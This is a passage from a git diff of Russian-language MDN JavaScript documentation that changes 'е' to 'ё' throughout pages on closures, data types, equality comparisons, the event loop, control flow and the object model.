        Если вы запустите этот код, то увидите, что он работает не так, как мы ожидаем интуитивно. Какое поле вы бы ни выбрали, в качестве подсказки всегда будет высвечиваться сообщение о возрасте. 

        -

        Проблема в том, что функции, присвоенные как обработчики события onfocus, являются замыканиями. Они состоят из описания функции и контекста исполнения (окружения), унаследованного от  функции setupHelp. Было создано три замыкания, но все они были созданы с одним и тем же контекстом исполнения. К моменту возникновения события onfocus цикл уже давно отработал, а значит, переменная item (одна и та же для всех трех замыканий) указывает на последний элемент массива, который как раз в поле возраста.

        +

        Проблема в том, что функции, присвоенные как обработчики события onfocus, являются замыканиями. Они состоят из описания функции и контекста исполнения (окружения), унаследованного от  функции setupHelp. Было создано три замыкания, но все они были созданы с одним и тем же контекстом исполнения. К моменту возникновения события onfocus цикл уже давно отработал, а значит, переменная item (одна и та же для всех трёх замыканий) указывает на последний элемент массива, который как раз в поле возраста.

        В качестве решения в этом случае можно предложить использование функции, фабричной функции (function factory), как уже было описано выше в примерах:

        @@ -272,7 +272,7 @@ setupHelp();

        {{JSFiddleEmbed("https://jsfiddle.net/v7gjv/13024/", "", 200)}}

        -

        Вот это работает как следует. Вместо того, чтобы делить на всех одно окружение, функция makeHelpCallback создает каждому из замыканий свое собственное, в котором переменная item указывает на правильный элемент массива helpText.

        +

        Вот это работает как следует. Вместо того, чтобы делить на всех одно окружение, функция makeHelpCallback создаёт каждому из замыканий своё собственное, в котором переменная item указывает на правильный элемент массива helpText.

        Соображения по производительности

        @@ -295,7 +295,7 @@ setupHelp(); } -

        Поскольку вышеприведенный код никак не использует преимущества замыканий, его можно переписать следующим образом:

        +

        Поскольку вышеприведённый код никак не использует преимущества замыканий, его можно переписать следующим образом:

        function MyObject(name, message) {
           this.name = name.toString();
        diff --git a/files/ru/web/javascript/data_structures/index.html b/files/ru/web/javascript/data_structures/index.html
        index e02cffe0f7..7941ee07b1 100644
        --- a/files/ru/web/javascript/data_structures/index.html
        +++ b/files/ru/web/javascript/data_structures/index.html
        @@ -27,7 +27,7 @@ foo = true;  // foo становится типа Boolean
         
        • 6 типов данных являющихся примитивами:
            -
          • {{Glossary("Undefined")}} (Неопределенный тип)  : typeof instance === "undefined"
          • +
          • {{Glossary("Undefined")}} (Неопределённый тип)  : typeof instance === "undefined"
          • {{Glossary("Boolean")}} (Булев, Логический тип) : typeof instance === "boolean"
          • {{Glossary("Number")}} (Число) : typeof instance === "number"
          • {{Glossary("String")}} (Строка) : typeof instance === "string"
          • @@ -84,7 +84,7 @@ Infinity
          • Объединить две строки в одну, применив оператор (+) или метод {{jsxref("String.concat()")}}.
          -

          Избегайте повсеместного использования строк в своем коде!

          +

          Избегайте повсеместного использования строк в своём коде!

          Иногда может показаться соблазнительным использование строк для представления сложных структур данных. Это даст небольшие краткосрочные выгоды:

          @@ -104,7 +104,7 @@ Infinity

          Тип данных Большое целое (BigInt)

          -

          BigInt является встроенным объектом, который предоставляет способ представления целых чисел, которые больше 2 53, что является наибольшим числом, которое JavaScript может надежно представить с помощью Number примитива.

          +

          BigInt является встроенным объектом, который предоставляет способ представления целых чисел, которые больше 2 53, что является наибольшим числом, которое JavaScript может надёжно представить с помощью Number примитива.

          > let bigInt = 19241924124n;
           > console.log(bigInt);
          @@ -120,7 +120,7 @@ Infinity
           
           

          В JavaScript объект может расцениваться как набор свойств. Литеральная инициализация объекта задаёт определённое количество начальных свойств, и в процессе работы приложения поля могут добавляться и удаляться. Значения свойств могут иметь любой тип, включая другие объекты, что позволяет строить сложные, разветвлённые иерархии данных. Каждое свойство объекта идентифицируется ключом, в качестве которого может выступать значение с типом Строка или Символ.

          -

          Есть два типа свойств: свойство-значение и свойство-акцессор (свойство, обёрнутое в геттер и сеттер). Они отличаются определенными атрибутами.

          +

          Есть два типа свойств: свойство-значение и свойство-акцессор (свойство, обёрнутое в геттер и сеттер). Они отличаются определёнными атрибутами.

          Свойство-значение

          diff --git a/files/ru/web/javascript/equality_comparisons_and_sameness/index.html b/files/ru/web/javascript/equality_comparisons_and_sameness/index.html index 99baf1e830..c4e2e48cd5 100644 --- a/files/ru/web/javascript/equality_comparisons_and_sameness/index.html +++ b/files/ru/web/javascript/equality_comparisons_and_sameness/index.html @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Equality_comparisons_and_sameness

          Выбор оператора зависит от типа сравнения, которое необходимо произвести.

      -

      В общих чертах, двойное равно перед сравнением величин производит приведение типов; тройное равно сравнивает величины без приведения (если величины разных типов, вернет false, даже не сравнивая); ну и Object.is ведет себя так же, как и тройное равно, но со специальной обработкой для NaN, -0 и +0, возвращая false при сравнении  -0 и +0, и true для операции Object.is(NaN, NaN). (В то время как двойное или тройное равенство вернут false согласно стандарту IEEE 754.) Следует отметить, что все эти различия в сравнениях применимы лишь для примитивов. Для любых не примитивных объектов x и y, которые имеют одинаковые структуры, но представляют собой два отдельных объекта (переменные x и y не ссылаются на один и тот же объект), все операторы сравнения вернут false.

      +

      В общих чертах, двойное равно перед сравнением величин производит приведение типов; тройное равно сравнивает величины без приведения (если величины разных типов, вернёт false, даже не сравнивая); ну и Object.is ведёт себя так же, как и тройное равно, но со специальной обработкой для NaN, -0 и +0, возвращая false при сравнении  -0 и +0, и true для операции Object.is(NaN, NaN). (В то время как двойное или тройное равенство вернут false согласно стандарту IEEE 754.) Следует отметить, что все эти различия в сравнениях применимы лишь для примитивов. Для любых не примитивных объектов x и y, которые имеют одинаковые структуры, но представляют собой два отдельных объекта (переменные x и y не ссылаются на один и тот же объект), все операторы сравнения вернут false.

      Сравнение с использованием ==

      @@ -109,7 +109,7 @@ translation_of: Web/JavaScript/Equality_comparisons_and_sameness

      В таблице выше, ToNumber(A) пытается перед сравнением привести свой аргумент к числу. Такое поведение эквивалентно +A (унарный оператор +).  Если ToPrimitive(A) получает объект в качестве аргумента, то производятся попытки привести его к примитиву, вызывая на нем методы A.toString и A.valueOf.

      -

      Традиционно (и в соответствии с ECMAScript), ни один из объектов не равен undefined или null.  Но большинство браузеров позволяет определенному классу объектов (в частности, объектам document.all для любой страницы) эмулировать значение undefined.  Оператор равенства вернёт значение true для null == A и undefined == A, тогда, и только тогда, когда объект эмулирует значение undefined. Во всех остальных случаях объект не может быть равен undefined или null.

      +

      Традиционно (и в соответствии с ECMAScript), ни один из объектов не равен undefined или null.  Но большинство браузеров позволяет определённому классу объектов (в частности, объектам document.all для любой страницы) эмулировать значение undefined.  Оператор равенства вернёт значение true для null == A и undefined == A, тогда, и только тогда, когда объект эмулирует значение undefined. Во всех остальных случаях объект не может быть равен undefined или null.

      var num = 0;
       var obj = new String("0");
      @@ -134,7 +134,7 @@ console.log(obj == undefined);
       
       

      Строгое равенство с использованием ===

      -

      Строгое равно проверяет на равенство две величины, при этом тип каждой из величин перед сравнением не изменяется (не приводится). Если значения имеют различающиеся типы, то они не могут быть равными. С другой стороны все не числовые переменные, принадлежащие одному типу, считаются равными между собой, если содержат одинаковые величины. Ну и, наконец, числовые переменные считаются равными, если они имеют одинаковые значения, либо одна из них +0, а вторая -0. В то же время, если хотя бы одна из числовых переменных содержит значение NaN, выражение вернет false.

      +

      Строгое равно проверяет на равенство две величины, при этом тип каждой из величин перед сравнением не изменяется (не приводится). Если значения имеют различающиеся типы, то они не могут быть равными. С другой стороны все не числовые переменные, принадлежащие одному типу, считаются равными между собой, если содержат одинаковые величины. Ну и, наконец, числовые переменные считаются равными, если они имеют одинаковые значения, либо одна из них +0, а вторая -0. В то же время, если хотя бы одна из числовых переменных содержит значение NaN, выражение вернёт false.

      var num = 0;
       var obj = new String("0");
      @@ -153,7 +153,7 @@ console.log(obj === null); // false
       console.log(obj === undefined); // false
       
      -

      Практически всегда для сравнения следует использовать оператор строгого равенства. Для всех значений, за исключением числовых используется очевидная семантика: величина равна только сама себе. Как было сказано выше для числовых типов можно выделить два особых случая. Во-первых, сравнение +0 и -0. Знак для нуля введен для упрощения некоторых вычислений с плавающей запятой, однако, с точки зрения математики, разницы между +0 и -0 не существует, поэтому оператор строгого равенства считает их равными. Во-вторых, сравнение величин NaN. NaN (Not a number) представляет из себя значение не определенной величины, которое применяется для не четко определенных математических задач (например +∞ + -∞). Для оператора строго равенства NaN не равен ни одной из величин, в том числе и самому себе (единственный случай, когда (x!==x) вернет true).

      +

      Практически всегда для сравнения следует использовать оператор строгого равенства. Для всех значений, за исключением числовых используется очевидная семантика: величина равна только сама себе. Как было сказано выше для числовых типов можно выделить два особых случая. Во-первых, сравнение +0 и -0. Знак для нуля введён для упрощения некоторых вычислений с плавающей запятой, однако, с точки зрения математики, разницы между +0 и -0 не существует, поэтому оператор строгого равенства считает их равными. Во-вторых, сравнение величин NaN. NaN (Not a number) представляет из себя значение не определённой величины, которое применяется для не чётко определённых математических задач (например +∞ + -∞). Для оператора строго равенства NaN не равен ни одной из величин, в том числе и самому себе (единственный случай, когда (x!==x) вернёт true).

      Равенство одинаковых величин

      @@ -169,7 +169,7 @@ function attemptMutation(v) }
      -

      При попытке изменения неизменяемого свойства, вызов Object.defineProperty выбросит исключение, однако, если новое свойство равняется старому, изменений не произойдет и исключение не будет выброшено. Если v содержит -0, изменений не произойдет, а значит, код отработает без выброса исключений. Однако, если же v содержит +0, Number.NEGATIVE_ZERO утратит свою неизменяемую величину. Именно для сравнения нового и текущего неизменяемых свойств используется сравнение одинаковых величин, представленное методом Object.is.

      +

      При попытке изменения неизменяемого свойства, вызов Object.defineProperty выбросит исключение, однако, если новое свойство равняется старому, изменений не произойдёт и исключение не будет выброшено. Если v содержит -0, изменений не произойдёт, а значит, код отработает без выброса исключений. Однако, если же v содержит +0, Number.NEGATIVE_ZERO утратит свою неизменяемую величину. Именно для сравнения нового и текущего неизменяемых свойств используется сравнение одинаковых величин, представленное методом Object.is.

      Спецификации для равенства, строгого равенства и равенства одинаковых величин

      diff --git a/files/ru/web/javascript/eventloop/index.html b/files/ru/web/javascript/eventloop/index.html index d659ecc73c..1d4023e2c5 100644 --- a/files/ru/web/javascript/eventloop/index.html +++ b/files/ru/web/javascript/eventloop/index.html @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/EventLoop

      Стек

      -

      Вызов любой функции создает контекст выполнения (Execution Context). При вызове вложенной функции создается новый контекст, а старый сохраняется в специальной структуре данных - стеке вызовов (Call Stack).

      +

      Вызов любой функции создаёт контекст выполнения (Execution Context). При вызове вложенной функции создаётся новый контекст, а старый сохраняется в специальной структуре данных - стеке вызовов (Call Stack).

      function f(b) {
         var a = 12;
      @@ -36,7 +36,7 @@ function g(x) {
       g(21);
       
      -

      Когда вызывается функция g,  создаётся первый контекст выполнения, содержащий аргументы функции g и локальные переменные. Когда g вызывает f, создаётся второй контекст с аргументами f и её локальными переменными.  И этот контекст выполнения f помещается в стек вызовов выше первого. Когда f возвращает результат, верхний элемент из стека удаляется. Когда g возвращает результат, ее контекст также удалится, и стек становится пустым.

      +

      Когда вызывается функция g,  создаётся первый контекст выполнения, содержащий аргументы функции g и локальные переменные. Когда g вызывает f, создаётся второй контекст с аргументами f и её локальными переменными.  И этот контекст выполнения f помещается в стек вызовов выше первого. Когда f возвращает результат, верхний элемент из стека удаляется. Когда g возвращает результат, её контекст также удалится, и стек становится пустым.

      Куча

      @@ -62,7 +62,7 @@ g(21);

      Запуск до завершения

      -

      Каждая задача выполняется полностью, прежде чем начнет обрабатываться следующая. Благодаря этому мы точно знаем: когда выполняется текущая функция – она не может быть приостановлена и будет целиком завершена до начала выполнения другого кода (который может изменить данные, с которыми работает текущая функция). Это отличает JavaScript от такого языка программирования как C. Поскольку в С функция, запущенная в отдельном потоке, в любой момент может быть остановлена, чтобы выполнить какой-то другой код в другом потоке.

      +

      Каждая задача выполняется полностью, прежде чем начнёт обрабатываться следующая. Благодаря этому мы точно знаем: когда выполняется текущая функция – она не может быть приостановлена и будет целиком завершена до начала выполнения другого кода (который может изменить данные, с которыми работает текущая функция). Это отличает JavaScript от такого языка программирования как C. Поскольку в С функция, запущенная в отдельном потоке, в любой момент может быть остановлена, чтобы выполнить какой-то другой код в другом потоке.

      У данного подхода есть и минусы. Если задача занимает слишком много времени, то веб-приложение не может обрабатывать действия пользователя в это время (например, скролл или клик). Браузер старается смягчить проблему и выводит сообщение "скрипт выполняется слишком долго" ("a script is taking too long to run") и предлагает остановить его. Хорошей практикой является создание задач, которые исполняются быстро, и если возможно, разбиение одной задачи на несколько мелких.

      @@ -70,11 +70,11 @@ g(21);

      В браузерах события добавляются в очередь в любое время, если событие произошло, а так же если у него есть обработчик. В случае, если обработчика нет – событие потеряно. Так, клик по элементу, имеющему обработчик события по событию click , добавит событие в очередь, а если обработчика нет – то и событие в очередь не попадет.

      -

      Вызов setTimeout добавит событие в очередь по прошествии времени, указанного во втором аргументе вызова. Если очередь событий на тот момент будет пуста, то событие обработается сразу же, в противном случае событию функции setTimeout придется ожидать завершения обработки остальных событий в очереди. Именно поэтому второй аргумент setTimeout корректно считать не временем, через которое выполнится функция из первого аргумента, а минимальное время, через которое она сможет выполниться.

      +

      Вызов setTimeout добавит событие в очередь по прошествии времени, указанного во втором аргументе вызова. Если очередь событий на тот момент будет пуста, то событие обработается сразу же, в противном случае событию функции setTimeout придётся ожидать завершения обработки остальных событий в очереди. Именно поэтому второй аргумент setTimeout корректно считать не временем, через которое выполнится функция из первого аргумента, а минимальное время, через которое она сможет выполниться.

      Нулевые задержки

      -

      Нулевая задержка не дает гарантии, что обработчик выполнится через ноль миллисекунд. Вызов {{domxref("WindowTimers.setTimeout", "setTimeout")}} с аргументом  0 (ноль) не завершится за указанное время. Выполнение зависит от количества ожидающих задач в очереди. Например, сообщение ''this is just a message'' из примера ниже будет выведено на консоль раньше, чем произойдет выполнение обработчика cb1. Это произойдет, потому что задержка – это минимальное время, которое требуется среде выполнения на обработку запроса.

      +

      Нулевая задержка не даёт гарантии, что обработчик выполнится через ноль миллисекунд. Вызов {{domxref("WindowTimers.setTimeout", "setTimeout")}} с аргументом  0 (ноль) не завершится за указанное время. Выполнение зависит от количества ожидающих задач в очереди. Например, сообщение ''this is just a message'' из примера ниже будет выведено на консоль раньше, чем произойдёт выполнение обработчика cb1. Это произойдёт, потому что задержка – это минимальное время, которое требуется среде выполнения на обработку запроса.

      (function () {
       
      diff --git a/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html b/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html
      index a7b952b323..dd86463b4a 100644
      --- a/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html
      +++ b/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html
      @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
       

      {{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}

      -

      JavaScript поддерживает компактный набор инструкций, особенно управляющих инструкций, которые вы можете использовать, чтобы реализовать интерактивность в вашем приложении. В данной главе дается обзор этих инструкций.

      +

      JavaScript поддерживает компактный набор инструкций, особенно управляющих инструкций, которые вы можете использовать, чтобы реализовать интерактивность в вашем приложении. В данной главе даётся обзор этих инструкций.

      Более подробная информация об инструкциях, рассмотренных в данной главе, содержится в справочнике по JavaScript. Точка с запятой ( ; ) используется для разделения инструкций в коде.

      @@ -26,9 +26,9 @@ translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
      while (x < 10) { x++; }
      -

      В вышеприведенном примере { x++; } является блоком.

      +

      В вышеприведённом примере { x++; } является блоком.

      -

      Обратите внимание: в JavaScript отсутствует область видимости блока до ECMAScript2015. Переменные, объявленные внутри блока, имеют область видимости функции (или скрипта), в которой находится данный блок, вследствие чего они сохранят свои значения при выходе за пределы блока. Другими словами, блок не создает новую область видимости. "Автономные" (standalone) блоки в JavaScript могут продуцировать полностью отличающийся результат, от результата в языках C или Java. Например:

      +

      Обратите внимание: в JavaScript отсутствует область видимости блока до ECMAScript2015. Переменные, объявленные внутри блока, имеют область видимости функции (или скрипта), в которой находится данный блок, вследствие чего они сохранят свои значения при выходе за пределы блока. Другими словами, блок не создаёт новую область видимости. "Автономные" (standalone) блоки в JavaScript могут продуцировать полностью отличающийся результат, от результата в языках C или Java. Например:

      var x = 1;
       {
      @@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
       }
       console.log(x); // выведет 2
      -

      В вышеприведенном примере инструкция var x внутри блока находится в той же области видимости, что и инструкция var x перед блоком. В C или Java эквивалентный код выведет значение 1.

      +

      В вышеприведённом примере инструкция var x внутри блока находится в той же области видимости, что и инструкция var x перед блоком. В C или Java эквивалентный код выведет значение 1.

      Начиная с ECMAScript 6, оператор let позволяет объявить переменную в области видимости блока. Чтобы получить более подробную информацию, прочитайте {{jsxref("Statements/let", "let")}}.

      @@ -75,7 +75,7 @@ console.if (x = y) { /* ... */ }
      -

      Если вам нужно использовать присваивание в условном выражении, то распространенной практикой является заключение операции присваивания в дополнительные скобки. Например:

      +

      Если вам нужно использовать присваивание в условном выражении, то распространённой практикой является заключение операции присваивания в дополнительные скобки. Например:

      if ( (x = y) ) { /* ... */ }
      @@ -101,7 +101,7 @@ if (b) // это условие true if (b == true) // это условие false -

      В следующем примере функция checkData возвращает true, если число символов в объекте Text равно трем; в противном случае функция отображает окно alert и возвращает false.

      +

      В следующем примере функция checkData возвращает true, если число символов в объекте Text равно трём; в противном случае функция отображает окно alert и возвращает false.

      function checkData() {
         if (document.form1.threeChar.value.length == 3) {
      @@ -131,9 +131,9 @@ if (b == true) // это условие false
       }
       
      -

      Сначала производится поиск ветви case с меткой label, совпадающей со значением выражения expression. Если совпадение найдено, то соответствующий данной ветви код выполняется до оператора break, который прекращает выполнение switch и передает управление дальше. В противном случае управление передается необязательной ветви default и выполняется соответствующий ей код. Если ветвь default не найдена, то программа продолжит выполняться со строчки, следующей за инструкцией switch. По соглашению ветвь default является последней ветвью, но следовать этому соглашению необязательно.

      +

      Сначала производится поиск ветви case с меткой label, совпадающей со значением выражения expression. Если совпадение найдено, то соответствующий данной ветви код выполняется до оператора break, который прекращает выполнение switch и передаёт управление дальше. В противном случае управление передаётся необязательной ветви default и выполняется соответствующий ей код. Если ветвь default не найдена, то программа продолжит выполняться со строчки, следующей за инструкцией switch. По соглашению ветвь default является последней ветвью, но следовать этому соглашению необязательно.

      -

      Если оператор break отсутствует, то после выполнения кода, который соответствует выбранной ветви, начнется выполнение кода, который следует за ней.

      +

      Если оператор break отсутствует, то после выполнения кода, который соответствует выбранной ветви, начнётся выполнение кода, который следует за ней.

      В следующем примере если fruittype имеет значение "Bananas", то будет выведено сообщение "Bananas are $0.48 a pound." и оператор break прекратит выполнение switch. Если бы оператор break отсутствовал, то был бы также выполнен код, соответствующий ветви "Cherries", т.е. выведено сообщение "Cherries are $3.00 a pound.".

      @@ -180,7 +180,7 @@ console.throw expression; -

      Вы можете выбросить любое выражение, а не только выражения определенного типа. В следующем примере выбрасываются исключения различных типов:

      +

      Вы можете выбросить любое выражение, а не только выражения определённого типа. В следующем примере выбрасываются исключения различных типов:

      throw "Error2";                                              // string
       throw 42;                                                    // number
      @@ -235,7 +235,7 @@ catch (e) {
       
       
      catch (catchID) { statements }
      -

      JavaScript создает идентификатор catchID, которому присваивается перехваченное исключение, при входе в блок catch; данный идентификатор доступен только в пределах блока catch и уничтожается при выходе из него.

      +

      JavaScript создаёт идентификатор catchID, которому присваивается перехваченное исключение, при входе в блок catch; данный идентификатор доступен только в пределах блока catch и уничтожается при выходе из него.

      В следующем примере выбрасывается исключение, которое перехватывается в блоке catch:

      diff --git a/files/ru/web/javascript/guide/details_of_the_object_model/index.html b/files/ru/web/javascript/guide/details_of_the_object_model/index.html index 5a78bd6a74..a93d7aa85e 100644 --- a/files/ru/web/javascript/guide/details_of_the_object_model/index.html +++ b/files/ru/web/javascript/guide/details_of_the_object_model/index.html @@ -28,17 +28,17 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model

      Подклассы и наследование

      -

      В языках, основанных на классах, вы создаете иерархию классов через объявление классов. В объявлении класса вы можете указать, что новый класс является подклассом уже существующего класса. При этом, подкласс унаследует все свойства суперкласса и в дополнение сможет добавить свои свойства или переопределить унаследованные. Например, предположим, что класс Employee включает два свойства: name и dept, а класс Manager является подклассом Employee и добавляет свойство reports. В этом случае, экземпляр класса Manager будет иметь три свойства: name, dept, и reports.

      +

      В языках, основанных на классах, вы создаёте иерархию классов через объявление классов. В объявлении класса вы можете указать, что новый класс является подклассом уже существующего класса. При этом, подкласс унаследует все свойства суперкласса и в дополнение сможет добавить свои свойства или переопределить унаследованные. Например, предположим, что класс Employee включает два свойства: name и dept, а класс Manager является подклассом Employee и добавляет свойство reports. В этом случае, экземпляр класса Manager будет иметь три свойства: name, dept, и reports.

      JavaScript реализует наследование, позволяя связать прототипный ообъект с любой функцией-конструктором. Итак, вы можете создать ообъект точь-в-точь, как в примере Employee — Manager, но используя несколько иную технику. Для начала нужно определить функцию-конструктор Employee, которая определяет свойства name и dept. Затем, определяем функцию-конструктор Manager, в которой в свою очередь, будет явно вызываться конструктор Employee и определяться новое свойство reports. Наконец, присваиваем новый экземпляр Employee, в качестве prototype для функции-конструктора Manager. Теперь, когда вы создадите нового Manager, он унаследует свойства name и dept из объекта Employee.

      Добавление и удаление свойств

      -

      В языках, основанных на классах, вы, как правило, создаете класс во время компиляции, а затем вы создаёте экземпляры класса либо во время компиляции, либо во время выполнения. Вы не можете изменить количество или тип свойств класса после определения класса. В JavaScript, однако, вы можете добавлять или удалять свойства любого объекта. Если вы добавляете свойство к объекту, который используется в качестве прототипа для множества объектов, то все эти объекты, для которых он является прототипом, также получат это свойство.

      +

      В языках, основанных на классах, вы, как правило, создаёте класс во время компиляции, а затем вы создаёте экземпляры класса либо во время компиляции, либо во время выполнения. Вы не можете изменить количество или тип свойств класса после определения класса. В JavaScript, однако, вы можете добавлять или удалять свойства любого объекта. Если вы добавляете свойство к объекту, который используется в качестве прототипа для множества объектов, то все эти объекты, для которых он является прототипом, также получат это свойство.

      Подытожим различия

      -

      Следующая таблица дает краткий обзор некоторых из этих различий. А оставшаяся часть этой главы описывает детали использования конструкторов и прототипов JavaScript для создания иерархии объектов и сравнивает это с тем, как вы могли бы сделать это в Java.

      +

      Следующая таблица даёт краткий обзор некоторых из этих различий. А оставшаяся часть этой главы описывает детали использования конструкторов и прототипов JavaScript для создания иерархии объектов и сравнивает это с тем, как вы могли бы сделать это в Java.

      @@ -54,7 +54,7 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model - + @@ -64,7 +64,7 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model @@ -73,7 +73,7 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model - +
      Сравнение языков на основе классов (Java) и на базе прототипов (JavaScript)
      Все объекты могут наследовать свойства другого объекта.
      Определяем класс с помощью определения класса; создаем экземпляр класса с помощью метода-конструктора.Определяем класс с помощью определения класса; создаём экземпляр класса с помощью метода-конструктора. Определение и создание объекта происходит с помощью функций-конструкторов.
      Иерархия объектов строится с помощью определения классов и их подклассов. -

      Построение иерархии объектов происходит путем присвоения объекта в качестве прототипа функции-конструктора.

      +

      Построение иерархии объектов происходит путём присвоения объекта в качестве прототипа функции-конструктора.

      Определение класса определяет все свойства всех экземпляров класса. Нельзя динамически добавлять свойства во время выполнения.Функция-конструктор или прототип задает начальный набор свойств. Можно добавить или удалить свойства динамически к отдельным объектам или всей совокупности объектов.Функция-конструктор или прототип задаёт начальный набор свойств. Можно добавить или удалить свойства динамически к отдельным объектам или всей совокупности объектов.
      @@ -152,7 +152,7 @@ function Manager() { Employee.call(this); this.reports = []; } -//создаем пустой объект с прототипом от конструктора Employee +//создаём пустой объект с прототипом от конструктора Employee //и используем этот ообъект как прототип для Manager Manager.prototype = Object.create(Employee.prototype); @@ -236,7 +236,7 @@ public class Engineer extends WorkerBee {

      Используя эти определения, вы можете создавать экземпляры объектов, которые получат значения по умолчанию для своих свойств. Рисунок 8.3 иллюстрирует использование этих определений и показывает значения свойств у полученных объектов.

      -

      {{ note('Термин экземпляр имеет специфическое значение в языках, основанных на классах. В этих языках экземпляр — это индивидуальная сущность определенного класса и принципиально отличается от класса. В JavaScript «экземпляр» не имеет такого технического значения, потому что JavaScript не делает таких отличий между классами и экземплярами. Однако, в разговоре о JavaScript, термин «экземпляр» может неформально использоваться для обозначения объекта, созданного с использованием конкретной функции конструктора. Так, в этом примере, вы можете неформально сказать, что jane является экземпляром Engineer. Аналогично, хотя термины parent, child, ancestor и descendant (родитель, ребенок, предок и потомок) не имеют формальных значений в JavaScript, вы можете использовать их неформально для ссылки на объекты выше или ниже в цепочке прототипов.') }}

      +

      {{ note('Термин экземпляр имеет специфическое значение в языках, основанных на классах. В этих языках экземпляр — это индивидуальная сущность определённого класса и принципиально отличается от класса. В JavaScript «экземпляр» не имеет такого технического значения, потому что JavaScript не делает таких отличий между классами и экземплярами. Однако, в разговоре о JavaScript, термин «экземпляр» может неформально использоваться для обозначения объекта, созданного с использованием конкретной функции конструктора. Так, в этом примере, вы можете неформально сказать, что jane является экземпляром Engineer. Аналогично, хотя термины parent, child, ancestor и descendant (родитель, ребёнок, предок и потомок) не имеют формальных значений в JavaScript, вы можете использовать их неформально для ссылки на объекты выше или ниже в цепочке прототипов.') }}

      figure8.3.png
      Рисунок 8.3: Создание объектов с простыми определениями

      @@ -247,21 +247,21 @@ public class Engineer extends WorkerBee {

      Наследование свойств

      -

      Предположим, вы создаете ообъект mark в качестве WorkerBee (как показано на Рисунок 8.3) с помощью следующего выражения:

      +

      Предположим, вы создаёте ообъект mark в качестве WorkerBee (как показано на Рисунок 8.3) с помощью следующего выражения:

      var mark = new WorkerBee;
       
      -

      Когда JavaScript видит оператор new, он создает новый обобщенный ообъект и неявно устанавливает значение внутреннего свойства [[Prototype]] в WorkerkBee.prototype, затем передает этот новый ообъект в качестве значения this в функцию-конструктор WorkerBee. Внутреннее свойство [[Prototype]] определяет цепочку прототипов, используемых для получения значений свойств. После того, как эти свойства установлены, JavaScript возвращает новый ообъект, а оператор присваивания устанавливает переменную mark для этого объекта.

      +

      Когда JavaScript видит оператор new, он создаёт новый обобщённый ообъект и неявно устанавливает значение внутреннего свойства [[Prototype]] в WorkerkBee.prototype, затем передаёт этот новый ообъект в качестве значения this в функцию-конструктор WorkerBee. Внутреннее свойство [[Prototype]] определяет цепочку прототипов, используемых для получения значений свойств. После того, как эти свойства установлены, JavaScript возвращает новый ообъект, а оператор присваивания устанавливает переменную mark для этого объекта.

      -

      Этот процесс не задает значения свойств (локальных значений), которые унаследованы по цепочке прототипов, объекта mark напрямую. Когда вы запрашиваете значение свойства, JavaScript сначала проверяет, существует ли это значение в данном объекте. Если так и есть, тогда возвращается это значение. Если значение не найдено в самом объекте, JavaScript проверяет цепочку прототипов (используя внутреннее свойство [[Prorotype]]). Если ообъект в цепочке прототипов имеет значение для искомого свойства, это значение возвращается. Если такое свойство не найдено, JavaScript сообщает, что ообъект не обладает свойством. Таким образом, ообъект mark содержит следующие свойства и значения:

      +

      Этот процесс не задаёт значения свойств (локальных значений), которые унаследованы по цепочке прототипов, объекта mark напрямую. Когда вы запрашиваете значение свойства, JavaScript сначала проверяет, существует ли это значение в данном объекте. Если так и есть, тогда возвращается это значение. Если значение не найдено в самом объекте, JavaScript проверяет цепочку прототипов (используя внутреннее свойство [[Prorotype]]). Если ообъект в цепочке прототипов имеет значение для искомого свойства, это значение возвращается. Если такое свойство не найдено, JavaScript сообщает, что ообъект не обладает свойством. Таким образом, ообъект mark содержит следующие свойства и значения:

      mark.name = '';
       mark.dept = 'general';
       mark.projects = [];
       
      -

      Значения для свойств name и dept объекту mark присваиваются из конструктора Employee. Также из конструктора WorkerBee присваивается локальное значение для свойства projects. Это дает вам наследование свойств и их значений в JavaScript. Некоторые детали этого процесса обсуждаются в Тонкости наследования свойств.

      +

      Значения для свойств name и dept объекту mark присваиваются из конструктора Employee. Также из конструктора WorkerBee присваивается локальное значение для свойства projects. Это даёт вам наследование свойств и их значений в JavaScript. Некоторые детали этого процесса обсуждаются в Тонкости наследования свойств.

      Поскольку эти конструкторы не позволяют вводить значения, специфичные для экземпляра, добавленная информация является общей. Значения свойств устанавливаются по умолчанию одинаковыми для всех объектов, созданных функцией WorkerBee. Конечно, вы можете изменить значения любого из этих свойств. Так, вы можете добавить специфичную информацию для mark следующим образом:

      @@ -397,7 +397,7 @@ public class Engineer extends WorkerBee {

      {{ note('Это может работать не так, как ожидается, если функция-конструктор вызывается с аргументами, которые преобразуются в false, вроде нуля (0) или пустой строки (""). В этом случае будет выбрано значение по умолчанию.') }}

      -

      С помощью таких определений, создавая экземпляр объекта, вы можете указать значения для локально определенных свойств. Как показано на Рисунок 8.5, можно использовать следующее выражение для создания нового Engineer:

      +

      С помощью таких определений, создавая экземпляр объекта, вы можете указать значения для локально определённых свойств. Как показано на Рисунок 8.5, можно использовать следующее выражение для создания нового Engineer:

      var jane = new Engineer('belau');
       
      @@ -412,7 +412,7 @@ jane.machine == 'belau'

      Обратите внимание, что с таким способом вы не можете указать начальное значение наследуемого свойства, такого как name. Если вы хотите задать начальное значение для наследуемых свойств в JavaScript, вам нужно добавить больше кода в функцию-конструктор.

      -

      До сих пор функция-конструктор создавала обобщенный ообъект, а затем определяла локальные свойства и значения для нового объекта. Вы можете использовать конструктор, который добавляет дополнительные свойства путем непосредственного вызова функции-конструктора для объекта, расположенного выше в цепочке прототипов. На следующем рисунке показаны эти новые определения.

      +

